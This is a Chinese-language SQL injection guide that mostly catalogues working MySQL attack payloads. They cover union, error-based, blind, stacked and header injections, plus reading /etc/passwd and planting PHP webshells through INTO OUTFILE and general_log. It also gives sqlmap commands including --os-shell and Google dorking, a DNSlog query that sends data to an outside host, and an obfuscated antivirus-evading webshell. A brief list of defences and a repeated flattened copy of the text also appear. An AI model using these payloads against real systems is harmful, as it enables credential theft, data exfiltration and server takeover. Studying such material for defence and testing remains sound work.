SQL注入漏洞详解总结大全
字数 1317 2025-08-10 17:51:46

SQL注入漏洞详解与防御指南

一、SQL注入原理

SQL注入是通过用户可控参数中注入SQL语法,改变原有SQL结构,导致程序执行非预期操作的安全漏洞。主要原因:

  1. 程序员使用字符串拼接方式构造SQL语句
  2. 未对用户可控参数进行严格过滤

二、SQL注入危害

  1. 获取数据库敏感信息(账号密码等)
  2. 执行"脱库"操作(导出数据库内容)
  3. 对数据库进行增删改操作
  4. 在特定情况下获取webshell或服务器权限

三、SQL注入分类

1. 按注入点类型

  • 数字型注入
  • 字符型注入

2. 按注入手法

  • 联合查询注入
  • 报错注入
  • 布尔盲注
  • 延时注入
  • 堆叠注入

3. 按提交参数方式

  • GET注入
  • POST注入
  • Cookie注入
  • HTTP头部注入(User-Agent、Referer等)

4. 按注入点位置

  • URL参数(如/?id=)
  • 搜索框
  • 留言板
  • 后台登录

四、注入手法详解

1. 联合查询注入

适用条件:数据库内容会回显到页面中

必要条件:

  • 两条select语句查询结果具有相同列数
  • 对应列数据类型相同

常用payload:

-- 获取库名
UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15

-- 获取表名
UNION SELECT 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 
FROM information_schema.tables 
WHERE table_schema=database()

-- 获取列名
UNION SELECT 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 
FROM information_schema.columns 
WHERE table_schema=database() AND table_name='tb'

-- 获取字段内容
UNION SELECT 1,2,hex(concat(xxx,0x7e,yyy)),4,5,6,7,8,9,10,11,12,13,14,15 FROM tb

2. 报错注入

适用条件:错误信息会显示在页面中

常用方法:

(1) group by重复键冲突

AND (SELECT 1 FROM (SELECT count(*),concat(0x5e,(SELECT database()),0x5e,floor(rand()*2))x 
FROM information_schema.tables GROUP BY x)a)

(2) extractvalue报错函数

-- 爆库
AND extractvalue(1,concat(0x5e,(SELECT database()),0x5e))

-- 爆表
AND extractvalue(1,concat(0x7e,substr((SELECT group_concat(table_name) 
FROM information_schema.tables WHERE table_schema=database()),1,32),0x7e))

-- 爆列
AND extractvalue(1,concat(0x7e,substr((SELECT group_concat(column_name) 
FROM information_schema.columns WHERE table_schema=database() AND table_name='tb'),1,32),0x7e))

-- 爆数据
AND extractvalue(1,concat(0x7e,substr((SELECT concat(username,0x7e,password) 
FROM cms_users),1,30),0x7e))

(3) updatexml报错注入

-- 爆库
AND updatexml(1,concat(0x5e,(SELECT database()),0x5e),1)

-- 爆表
AND updatexml(1,concat(0x7e,substr((SELECT group_concat(table_name) 
FROM information_schema.tables WHERE table_schema=database()),1,90),0x7e),1)

-- 爆列
AND updatexml(1,concat(0x7e,substr((SELECT group_concat(column_name) 
FROM information_schema.columns WHERE table_schema=database() AND table_name='cms_users'),1,32),0x7e),1)

-- 爆数据
AND updatexml(1,concat(0x7e,substr((SELECT concat(username,0x7e,password) 
FROM cms_users),1,30),0x7e),1)

3. 布尔盲注

适用条件:页面无回显但会根据SQL执行结果返回不同响应

-- 判断数据库名
AND database()='xxx' --+

-- 判断字符
AND ascii(substr(database(),1,1))=x --+

-- 爆表
AND substr((SELECT group_concat(table_name) 
FROM information_schema.tables WHERE table_schema='database'),1,1)=xxx

-- 爆列
AND substr((SELECT group_concat(column_name) 
FROM information_schema.columns WHERE table_schema='database' AND table_name='tb'),1,1)=xxx

-- 爆字段
AND substr((SELECT concat(xxx,0x7e) FROM tb),1,1) =yyy

4. 延时注入

适用条件:页面无回显但可通过响应时间判断SQL执行结果

-- 基本判断
AND sleep(5) --+

-- 条件判断
AND if(length(database())>1,sleep(5),1) --+

-- 爆库
AND if(substr(database(),1,1)='',sleep(5),1) --+

-- 爆表
AND if(substr((SELECT group_concat(table_name) 
FROM information_schema.tables WHERE table_schema=''),1,1),sleep(5),1) --+

-- 爆列
AND if(substr((SELECT group_concat(column_name) 
FROM information_schema.columns WHERE table_schema='' AND table_name=''),1,1),sleep(5),1) --+

-- 爆数据
AND if(substr((SELECT concat(username,0x7e,password) FROM tb),1,1),sleep(5),1) --+

5. 堆叠注入

适用条件:支持多条SQL语句同时执行

-- 修改密码
';UPDATE users SET password='123456'--+

-- 执行多条语句
';INSERT INTO users(username,password) VALUES('hacker','123456');--

6. 宽字节注入

适用条件:使用GBK等宽字符集且存在转义处理

%81' UNION SELECT 1,version(),3 --+

7. HTTP头部注入

(1) Cookie注入

Cookie: uname=Dumb'AND updatexml(1,concat(0x3a,(SELECT database()),0x3a),1) #

(2) Base64注入

uname=RHVtYiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg1ZSksMSkj

(3) User-Agent注入

User-Agent: AJEST' AND updatexml(1,concat(0x5e,(SELECT database()),0x5e),1) AND '1

(4) Referer注入

Referer: AJEST' AND updatexml(1,concat(0x5e,(SELECT version()),0x5e),1) AND '1

五、SQL注入读写文件

1. 前提条件

  • 当前用户有读写权限
  • 已知文件绝对路径
  • secure_file_priv参数允许

2. 检查权限

SELECT hex(file_priv),4,5,6,7,8,9,10,11,12,13,14,15 
FROM mysql.user 
WHERE user='root' AND host='localhost'

3. 查看secure_file_priv设置

SHOW global variables LIKE 'secure%';

4. 读写文件方法

(1) 读取文件

SELECT load_file('/etc/passwd')

(2) 写入文件

SELECT '<?php phpinfo();?>' INTO outfile '/var/www/html/shell.php'

(3) 替代方法(当secure_file_priv为NULL)

SET global general_log=on;
SET global general_log_file='C:/phpStudy/WWW/123.php';
SELECT '<?php eval($_POST[123]) ?>';

六、SQL注入防御措施

  1. 使用预编译语句(Prepared Statements)

    • 参数化查询可有效防止SQL注入
  2. 输入验证与过滤

    • 对用户输入进行严格验证
    • 使用白名单机制
  3. 最小权限原则

    • 数据库用户只赋予必要权限
  4. 错误处理

    • 避免显示详细错误信息
  5. 安全配置

    • 设置secure_file_priv为NULL或特定目录
    • 禁用危险函数
  6. 使用ORM框架

    • 减少直接编写SQL语句的机会
  7. Web应用防火墙(WAF)

    • 过滤恶意SQL注入尝试
  8. 定期安全审计

    • 检查代码中的SQL注入漏洞

七、SQLmap使用指南

基本命令

# 检测注入漏洞
sqlmap -u "http://example.com/?id=1"

# 列出所有数据库
sqlmap -u "http://example.com/?id=1" --dbs

# 查看当前数据库
sqlmap -u "http://example.com/?id=1" --current-db

# 列出指定数据库的表
sqlmap -u "http://example.com/?id=1" -D "dbname" --tables

# 列出指定表的列
sqlmap -u "http://example.com/?id=1" -D "dbname" -T "tablename" --columns

# 导出数据
sqlmap -u "http://example.com/?id=1" -D "dbname" -T "tablename" --dump

# POST注入
sqlmap -r request.txt

高级功能

# 获取操作系统shell
sqlmap -u "http://example.com/?id=1" --os-shell

# 使用Google搜索注入点
sqlmap -g "inurl:.php?id="

# 设置检测等级
sqlmap -u "http://example.com/?id=1" --level 3

# 携带Cookie
sqlmap -u "http://example.com/?id=1" --cookie="username=admin"

八、特殊注入场景

1. 万能密码

username' OR '1'='1'#

2. DNSlog外带数据

AND (SELECT load_file(concat(select hex(user())),'.682y4b.dnslog.cn/abc')))

3. 免杀webshell

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');
$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';
$_(base64_decode($_REQUEST['username']"

九、总结

SQL注入是Web应用中最常见也最危险的漏洞之一。攻击者可以通过多种方式利用SQL注入漏洞获取敏感数据、控制系统甚至整个服务器。防御SQL注入需要从代码编写、数据库配置、权限管理等多方面入手,采用纵深防御策略才能有效降低风险。

SQL注入漏洞详解与防御指南 一、SQL注入原理 SQL注入是通过用户可控参数中注入SQL语法,改变原有SQL结构,导致程序执行非预期操作的安全漏洞。主要原因: 程序员使用字符串拼接方式构造SQL语句 未对用户可控参数进行严格过滤 二、SQL注入危害 获取数据库敏感信息(账号密码等) 执行"脱库"操作(导出数据库内容) 对数据库进行增删改操作 在特定情况下获取webshell或服务器权限 三、SQL注入分类 1. 按注入点类型 数字型注入 字符型注入 2. 按注入手法 联合查询注入 报错注入 布尔盲注 延时注入 堆叠注入 3. 按提交参数方式 GET注入 POST注入 Cookie注入 HTTP头部注入(User-Agent、Referer等) 4. 按注入点位置 URL参数(如/?id=) 搜索框 留言板 后台登录 四、注入手法详解 1. 联合查询注入 适用条件:数据库内容会回显到页面中 必要条件: 两条select语句查询结果具有相同列数 对应列数据类型相同 常用payload: 2. 报错注入 适用条件:错误信息会显示在页面中 常用方法: (1) group by重复键冲突 (2) extractvalue报错函数 (3) updatexml报错注入 3. 布尔盲注 适用条件:页面无回显但会根据SQL执行结果返回不同响应 4. 延时注入 适用条件:页面无回显但可通过响应时间判断SQL执行结果 5. 堆叠注入 适用条件:支持多条SQL语句同时执行 6. 宽字节注入 适用条件:使用GBK等宽字符集且存在转义处理 7. HTTP头部注入 (1) Cookie注入 (2) Base64注入 (3) User-Agent注入 (4) Referer注入 五、SQL注入读写文件 1. 前提条件 当前用户有读写权限 已知文件绝对路径 secure_ file_ priv参数允许 2. 检查权限 3. 查看secure_ file_ priv设置 4. 读写文件方法 (1) 读取文件 (2) 写入文件 (3) 替代方法(当secure_ file_ priv为NULL) 六、SQL注入防御措施 使用预编译语句(Prepared Statements) 参数化查询可有效防止SQL注入 输入验证与过滤 对用户输入进行严格验证 使用白名单机制 最小权限原则 数据库用户只赋予必要权限 错误处理 避免显示详细错误信息 安全配置 设置secure_ file_ priv为NULL或特定目录 禁用危险函数 使用ORM框架 减少直接编写SQL语句的机会 Web应用防火墙(WAF) 过滤恶意SQL注入尝试 定期安全审计 检查代码中的SQL注入漏洞 七、SQLmap使用指南 基本命令 高级功能 八、特殊注入场景 1. 万能密码 2. DNSlog外带数据 3. 免杀webshell 九、总结 SQL注入是Web应用中最常见也最危险的漏洞之一。攻击者可以通过多种方式利用SQL注入漏洞获取敏感数据、控制系统甚至整个服务器。防御SQL注入需要从代码编写、数据库配置、权限管理等多方面入手,采用纵深防御策略才能有效降低风险。